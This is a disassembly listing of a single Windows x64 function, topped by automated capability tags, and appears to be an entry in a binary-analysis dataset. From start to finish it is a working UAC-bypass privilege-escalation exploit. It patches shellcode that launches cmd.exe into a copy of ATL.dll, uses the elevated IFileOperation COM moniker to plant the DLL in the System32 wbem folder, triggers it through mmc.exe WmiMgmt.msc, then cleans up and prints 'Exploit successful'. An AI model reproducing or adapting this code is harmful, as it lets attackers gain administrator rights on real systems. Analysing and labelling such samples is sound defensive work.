Function at 0x140003ff0
Capabilities:
Create process on windows
Get common file path
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x140091090]
xor rax, rsp
mov qword [rbp + 0x188], rax
xor ebx, ebx
mov dword [rbp + 0xd0], ebx
lea edx, [rbx + 2]
lea rcx, [rbp + 0xd0]
call fcn.14000d830
mov byte [0x140091004], bl
lea rcx, [rbp + 0xd0]
call fcn.14000d910
lea edx, [rbx + 0xe]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov edi, eax
test eax, eax
jns 0x1400040b9
lea rdx, str.CoInitializeEx___failed.
lea rcx, [0x140092760]
call fcn.14000a520
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.14000a520
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, edi
mov rcx, rax
call fcn.140006990
mov rcx, rax
call fcn.14000a7e0
mov eax, 1
jmp 0x140004b15
lea rcx, [0x140004bf0]
call fcn.140013540
mov qword [rbp - 0x70], rbx
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14006e5a0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov edi, eax
mov rcx, qword [rbp - 0x70]
test eax, eax
jns 0x1400040fb
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath_0__failed.
jmp 0x140004069
mov rsi, 0xffffffffffffffff
mov rax, rsi
lea rax, [rax + 1]
cmp word [rcx + rax*2], bx
jne 0x140004105
lea rbx, [rax*2 + 0x1c]
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov rdx, rbx
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov r13, rax
mov rcx, qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 0x108], rcx
mov qword [rbp + 0x110], rax
mov rdx, qword [rbp - 0x70]
mov rcx, rsi
nop dword [rax]
lea rcx, [rcx + 1]
cmp word [rdx + rcx*2], 0
jne 0x140004150
movups xmm0, xmmword [str.explorer.exe]
movups xmmword [rax + rcx*2], xmm0
movsd xmm1, qword [0x14008a0f8]
movsd qword [rax + rcx*2 + 0x10], xmm1
mov eax, dword [0x14008a100]
mov dword [r13 + rcx*2 + 0x18], eax
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14006e5b0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov edi, eax
mov rcx, qword [rbp - 0x70]
test eax, eax
jns 0x140004200
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, str.SHGetKnownFolderPath_1__failed.
lea rcx, [0x140092760]
call fcn.14000a520
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.14000a520
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, edi
mov rcx, rax
call fcn.140006990
mov rcx, rax
call fcn.14000a7e0
mov r14d, 1
jmp 0x140004b03
lea rsi, [rsi + 1]
cmp word [rcx + rsi*2], 0
jne 0x140004200
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
lea rdx, [rsi*2 + 0x1c]
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov r15, rax
mov rcx, qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rbp + 0x118], rcx
mov qword [rbp + 0x120], rax
movups xmm0, xmmword [0x14008a128]
movups xmmword [rax + rsi*2], xmm0
movzx ecx, word [0x14008a138]
mov word [rax + rsi*2 + 0x10], cx
mov qword [rbp - 0x68], r13
mov word [rbp - 0x60], bx
lea r8, [rbp - 0x68]
lea rdx, [0x140004c00]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
mov edi, eax
test eax, eax
jns 0x1400042bc
lea rdx, str.LdrEnumerateLoadedModules___failed._NTSTATUS:
lea rcx, [0x140092760]
call fcn.14000a520
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, edi
mov rcx, rax
call fcn.140006990
mov rcx, rax
call fcn.14000a7e0
mov r14d, 1
jmp 0x140004af4
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp - 0x50]
call fcn.140016f10
mov rdx, r15
lea rcx, [rbp - 0x50]
call fcn.140005dd0
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
je 0x140004339
lea rdx, str.Failed_to_open
lea rcx, [0x140092950]
call fcn.14000a870
mov rdx, r15
mov rcx, rax
call fcn.14000a870
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14000ca30
movzx edx, ax
mov rcx, rbx
call fcn.14000c880
mov rcx, rbx
call fcn.140006690
mov r14d, 1
jmp 0x140004aea
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x50]
call fcn.140006200
mov rcx, qword [rbp + 0xf0]
add rcx, qword [rbp + 0xf8]
call fcn.1400135c0
mov r12, rax
mov qword [rbp + 0x128], rax
mov r14d, 1
mov dword [rbp + 0xd0], r14d
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
movaps xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x50]
call fcn.1400062e0
mov r8, qword [rbp + 0xf8]
add r8, qword [rbp + 0xf0]
mov rdx, r12
lea rcx, [rbp - 0x50]
call fcn.1400064e0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
je 0x1400043d1
lea rdx, str.Failed_to_read_system_ATL.dll_n
jmp 0x140004ad1
lea rcx, [rbp - 0x38]
call fcn.140008a70
mov edi, 6
test rax, rax
jne 0x140004411
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, edi
cmp qword [rbp + rcx - 8], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x140004b4d
movsxd r8, dword [r12 + 0x3c]
movzx eax, word [r8 + r12 + 0x14]
lea rdx, [r8 + 0x18]
add rdx, r12
add rdx, rax
xor r9d, r9d
mov ecx, r9d
lea r10, str..text
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r10 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140004460
cmp rcx, rdi
jne 0x140004440
jmp 0x140004483
add rdx, 0x28
mov rcx, r9
nop word [rax + rax]
movzx eax, byte [r10 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140004460
cmp rcx, rdi
jne 0x140004470
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [r15 + rsi*2 + 2], xmm0
mov ecx, dword [r8 + r12 + 0x28]
mov eax, dword [rdx + 0xc]
sub rcx, rax
mov ebx, dword [rdx + 0x14]
lea rax, [r12 + rcx]
add rbx, rax
movaps xmm0, xmmword [0x14008aaa0]
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x14008aab0]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x14008aac0]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x14008aad0]
movups xmmword [rbx + 0x30], xmm1
movaps xmm0, xmmword [0x14008aae0]
movups xmmword [rbx + 0x40], xmm0
movaps xmm1, xmmword [0x14008aaf0]
movups xmmword [rbx + 0x50], xmm1
movaps xmm0, xmmword [0x14008ab00]
movups xmmword [rbx + 0x60], xmm0
movaps xmm1, xmmword [0x14008ab10]
movups xmmword [rbx + 0x70], xmm1
movsd xmm0, qword [0x14008ab20]
movsd qword [rbx + 0x80], xmm0
movzx eax, byte [0x14008ab28]
mov byte [rbx + 0x88], al
lea r8, [rsi*2 + 0x12]
lea rcx, [rbx + 0x89]
mov rdx, r15
call fcn.140016860
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rbx + 0x71], rax
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rbx + 0x7f], rax
lea rcx, [rbp - 0x50]
call fcn.140005b60
cmp qword [rbp + 0x48], 0
jne 0x140004562
lea rdx, str.Error_creating_payload_drop_n
jmp 0x140004ad1
mov r8, qword [rbp + 0xf8]
add r8, qword [rbp + 0xf0]
mov rdx, r12
lea rcx, [rbp - 0x40]
call fcn.1400067f0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], dil
jne 0x140004aca
lea rcx, [rbp - 0x40]
call fcn.140006690
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], dil
jne 0x140004aca
lea rcx, [rbp - 0x38]
call fcn.140008a70
test rax, rax
jne 0x1400045e2
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 8], 0
mov eax, 2
cmovne edi, eax
or edi, dword [rbp + rcx - 0x40]
and edi, 0x17
mov dword [rbp + rcx - 0x40], edi
and edi, dword [rbp + rcx - 0x3c]
jne 0x140004b9d
movsd xmm0, qword [str.wbem]
movsd qword [r15 + rsi*2 + 2], xmm0
movzx eax, word [0x14008a218]
mov word [r15 + rsi*2 + 0xa], ax
lea rcx, [rsp + 0x60]
call fcn.14000cf50
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
lea ecx, [rax + 0x10]
call fcn.140013000
mov qword [rax + 8], rbx
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
mov qword [rax], rcx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], bx
mov dword [rbp + 0xd0], 3
lea rcx, [rsp + 0x30]
call fcn.140003e60
test eax, eax
jne 0x140004b45
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x130]
call fcn.1400039c0
nop
lea rcx, [rsp + 0x30]
call fcn.140007020
nop
lea rcx, [rsp + 0x60]
call fcn.140007020
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], rbx
lea r9, [rbp + 0xe0]
lea r8, [0x14008aa10]
xor edx, edx
mov rcx, r15
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov edi, eax
test eax, eax
jns 0x140004706
lea rdx, str.SHCreateItemFromParsingName_0__failed.
lea rcx, [0x140092760]
call fcn.14000a520
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.14000a520
mov r9, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
mov eax, dword [rcx + r9 + 0x18]
and eax, 0xfffff9ff
bts eax, 0xb
mov dword [rcx + r9 + 0x18], eax
jmp 0x140004778
lea rcx, [rbp + 0x138]
cmp qword [rbp + 0x150], 8
cmovae rcx, qword [rbp + 0x138]
lea r9, [rbp + 0xe8]
lea r8, [0x14008aa10]
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov edi, eax
test eax, eax
jns 0x14000478f
lea rdx, str.SHCreateItemFromParsingName_1__failed.
lea rcx, [0x140092760]
call fcn.14000a520
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.14000a520
mov r9, rax
mov rax, qword [rax]
movsxd r8, dword [rax + 4]
mov eax, dword [r8 + r9 + 0x18]
and eax, 0xfffff9ff
bts eax, 0xb
mov dword [r8 + r9 + 0x18], eax
mov edx, edi
mov rcx, r9
call fcn.140006990
mov rcx, rax
call fcn.14000a7e0
jmp 0x140004a80
mov qword [rbp + 0xd8], rbx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x15c], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
mov qword [rbp + 0x180], rbx
mov dword [rbp + 0x158], 0x30
mov dword [rbp + 0x16c], 4
lea r9, [rbp + 0xd8]
lea r8, [0x14008a9e0]
lea rdx, [rbp + 0x158]
lea rcx, str.Elevation:Administrator_new:3AD05575_8857_4850_9277_11B85BDB8E09
call qword [sym.imp.ole32.dll_CoGetObject]
mov edi, eax
test eax, eax
jns 0x1400047f8
lea rdx, str.CoGetObject___failed.
jmp 0x14000486c
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rbx
lea r9, str.ATL.dll
mov r8, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xe8]
call qword [rax + 0x70]
mov edi, eax
test eax, eax
jns 0x14000482e
lea rdx, str.IFileOperation::MoveItem___failed.
jmp 0x14000486c
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rcx]
mov edx, 0x10800410
call qword [rax + 0x28]
mov edi, eax
test eax, eax
jns 0x14000484f
lea rdx, str.IFileOperation::SetOperationFlags___failed.
jmp 0x14000486c
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rcx]
call qword [rax + 0xa8]
mov edi, eax
test eax, eax
jns 0x1400048bb
lea rdx, str.IFileOperation::PerformOperations_0__failed.
lea rcx, [0x140092760]
call fcn.14000a520
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.14000a520
mov r9, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
mov eax, dword [rcx + r9 + 0x18]
and eax, 0xfffff9ff
bts eax, 0xb
mov dword [rcx + r9 + 0x18], eax
mov rcx, r9
mov edx, edi
call fcn.140006990
mov rcx, rax
call fcn.14000a7e0
jmp 0x140004a62
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, str.WmiMgmt.msc
lea r8, str.mmc.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdi, rax
lea rbx, [0x140092760]
cmp eax, 0x20
jg 0x140004911
lea rdx, str.ShellExecuteW_failed._Return_value:
mov rcx, rbx
call fcn.14000a520
mov edx, edi
mov rcx, rax
call fcn.140006b90
mov rcx, rax
call fcn.14000a7e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rbp + 0xe0]
test rcx, rcx
je 0x14000493b
mov qword [rbp + 0xe0], 0
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
movups xmm0, xmmword [0x14008a128]
movups xmmword [r15 + rsi*2 + 0xa], xmm0
movzx eax, word [0x14008a138]
mov word [r15 + rsi*2 + 0x1a], ax
lea r9, [rbp + 0xe0]
lea r8, [0x14008aa10]
xor edx, edx
mov rcx, r15
call qword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
mov edi, eax
test eax, eax
jns 0x1400049c6
lea rdx, str.SHCreateItemFromParsingName_2__failed.
mov rcx, rbx
call fcn.14000a520
mov rcx, rax
lea rdx, str._HRESULT:_0x
call fcn.14000a520
mov r9, rax
mov rax, qword [rax]
movsxd r8, dword [rax + 4]
mov eax, dword [r8 + r9 + 0x18]
and eax, 0xfffff9ff
bts eax, 0xb
mov dword [r8 + r9 + 0x18], eax
mov rcx, r9
mov edx, edi
call fcn.140006990
mov rcx, rax
call fcn.14000a7e0
jmp 0x140004a62
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rcx]
xor r8d, r8d
mov rdx, qword [rbp + 0xe0]
call qword [rax + 0x90]
mov edi, eax
test eax, eax
jns 0x1400049ef
lea rdx, str.IFileOperation::DeleteItem___failed.
jmp 0x140004a0c
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rcx]
call qword [rax + 0xa8]
mov edi, eax
test eax, eax
jns 0x140004a50
lea rdx, str.IFileOperation::PerformOperations_1__failed.
mov rcx, rbx
call fcn.14000a520
lea rdx, str._HRESULT:_0x
mov rcx, rax
call fcn.14000a520
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rcx, rax
mov edx, edi
call fcn.140006990
mov rcx, rax
call fcn.14000a7e0
jmp 0x140004a62
lea rdx, str.Exploit_successful_n
mov rcx, rbx
call fcn.14000a520
xor r14d, r14d
mov rcx, qword [rbp + 0xd8]
test rcx, rcx
je 0x140004a80
mov qword [rbp + 0xd8], 0
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0xe8]
test rcx, rcx
je 0x140004a9e
mov qword [rbp + 0xe8], 0
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp + 0xe0]
test rcx, rcx
je 0x140004abc
mov qword [rbp + 0xe0], 0
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
lea rcx, [rbp + 0x130]
call fcn.140007020
jmp 0x140004ae1
lea rdx, str.Error_writing_payload_drop_n
lea rbx, [0x140092760]
mov rcx, rbx
call fcn.14000a520
nop
mov rcx, r12
call fcn.140012fe0
nop
lea rcx, [rbp - 0x50]
call fcn.140004c40
nop
test r15, r15
je 0x140004b03
mov rcx, r15
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
test r13, r13
je 0x140004b12
mov rcx, r13
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
mov eax, r14d
mov rcx, qword [rbp + 0x188]
xor rcx, rsp
call fcn.140012fc0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edx, eax
call fcn.140003d70
nop
test al, 4
je 0x140004b5a
lea rbx, str.ios_base::badbit_set
jmp 0x140004b6e
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, r14d
lea rcx, [rsp + 0x60]
call fcn.140001a20
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140003270
lea rdx, [0x14008fcf0]
lea rcx, [rsp + 0x30]
call fcn.1400172a0
int3
test dil, 4
je 0x140004bac
lea rbx, str.ios_base::badbit_set
jmp 0x140004bc1
test al, dil
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, r14d
lea rcx, [rsp + 0x60]
call fcn.140001a20
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140003270
lea rdx, [0x14008fcf0]
lea rcx, [rsp + 0x30]
call fcn.1400172a0
int3